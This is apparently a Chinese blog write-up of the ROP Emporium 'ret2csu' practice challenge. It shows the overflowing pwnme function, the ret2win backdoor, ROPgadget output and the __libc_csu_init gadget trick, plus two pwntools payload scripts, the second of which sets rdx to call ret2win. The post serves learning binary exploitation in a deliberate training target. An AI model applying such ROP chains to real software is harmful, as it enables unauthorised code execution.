ret2csu

链接:https://pan.baidu.com/s/1h7TkZPDbpCP0mz4rYNsW-Q
提取码:xkb4

1 程序中的漏洞点

void **pwnme()
{
  void **result; // rax
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts(&byte_400924);
  printf("> ", 0LL);
  plt_puts = 0LL;  //这里4处把plt表改了,无法leak libc的地址
  plt_printf = 0LL;//
  plt_memset = 0LL;//
  fgets(&s, 176, stdin); //溢出
  result = &plt_fgets;
  plt_fgets = 0LL;//
  return result;
}

但同时给了一个后门

int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
  char command[8]; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int16 v6; // [rsp+20h] [rbp-10h]
  __int64 *v7; // [rsp+28h] [rbp-8h]

  v5 = 0xD5BED0DDDFD28920LL;
  v6 = 170;
  *(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
  v7 = (__int64 *)((char *)&v5 + 1);
  *(__int64 *)((char *)&v5 + 1) ^= a3;
  return system(command);
}

根据上面的提示,The third argument (rdx) must be 0xdeadcafebabebeef" 只需要把rdx改为0xdeadcafebabebeef 就好

但是程序中没有直接改rdx的代码:

$ ROPgadget --binary ret2csu  --only 'pop|ret'
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400658 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400576 : ret
0x00000000004007f9 : ret 0x8b48

Unique gadgets found: 12
  • 在程序开始时,会先运行一个名为 __libc_csu_init 的函数

    看一个这个函数,在这里截取函数结尾处的一些片段

    #关注点2.
                     mov     rdx, r15
                     mov     rsi, r14
                     mov     edi, r13d
                     call    qword ptr [r12+rbx*8]
                     add     rbx, 1
                     cmp     rbp, rbx
                     jnz     short loc_400880
    
    #关注点1.
                     pop     rbx
                     pop     rbp
                     pop     r12
                     pop     r13
                     pop     r14
                     pop     r15
                     retn
    

    可以看到在下面 关注点1 这一段 会把栈中的数据pop到寄存器中,而 关注点2 又会把这些寄存器中的数据复制到常用的传参寄存器中。然后会调用一个可以控制的函数。

    在 关注点1 中:

    rbx = 0  
    r12 = 需要调用的函数的地址 
    

    这样在关注点2

    call    qword ptr [r12+rbx*8]  这一条指令就会跳转到r12这个地址中
    add     rbx, 1
    cmp     rbp, rbx               这里如果rbp不是1,那么就会在这一段里循环
    jnz     short loc_400880
    
  
而上面3条会依次把 r13,r14,r15,复制到常用传参的 rdi,rsi,rdx,中,这里要注意一点
  
##### 把r13复制到 rdi 的低4位的 edi 中 ,这里缺4位,注意避开一些字符
  

  
  我一开始的脚本是这么写的
  
  ```python
  rdx=0xdeadcafebabebeef
  ret2win=0x4007B1
  csu_1=0x40089A 
  csu_2=0x400880
  
  payload='a' * 0x20 
  payload+=p64(0) #rbp
  payload+=p64(csu_1)
  payload+=p64(0) #rbx 必需为0,一会用到
  payload+=p64(0) #rbp 
  payload+=p64(ret2win) #r12  要跳转到的地址
  payload+=p64(0) #r13  mov edi, r13d 注意这里低4位的 Edi
  payload+=p64(0) #r14  mov rsi, r14
  payload+=p64(rdx) #r15  mov rdx, r15
  payload+=p64(csu_2)
  payload+=p64(0)
  #gdb.attach(p)
  p.sendline(payload)
  
  p.interactive()

可是这么写不行,这题有些坑。死活讲不去ret2win这个函数。然后在网上查了查,把代码改成这样了:

  rdx=0xdeadcafebabebeef
  init = 0x600E10   #初始化函数地址
  csu_1 = 0x400880
  csu_2 = 0x40089a
  ret2win = 0x4007B1
  payload = 0x20*'a'
  payload += p64(0)  #rbp
  payload += p64(csu_2)
  payload += p64(0)   #rbx
  payload += p64(1)   #rbp
  payload += p64(init)   #r12
  payload += p64(0)   #r13
  payload += p64(0)   #r14
  payload += p64(rdx)   #r15
  payload += p64(csu_1)
  payload += p64(0)   #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
  payload += p64(0)   #rbx
  payload += p64(0)   #rbp
  payload += p64(0)   #r12
  payload += p64(0)   #r13
  payload += p64(0)   #r14
  payload += p64(0)   #r15
  payload += p64(ret2win)
  #gdb.attach(p)
  p.sendline(payload)
  p.interactive()

虽然我也不知道为什么把程序重新初始化就行了。。。。。

frame_dummy 这个函数。在程序的.init_array段

frame_dummy会调用register_tm_clones

而这个register_tm_clones不知道是干什么用的,到研究linux源码时再深入研究一下。下次遇到同样的问题就让程序调用frame_dummy试试

posted @ 2020-06-04 11:32  虐黑三爆  阅读(455)  评论(0编辑  收藏  举报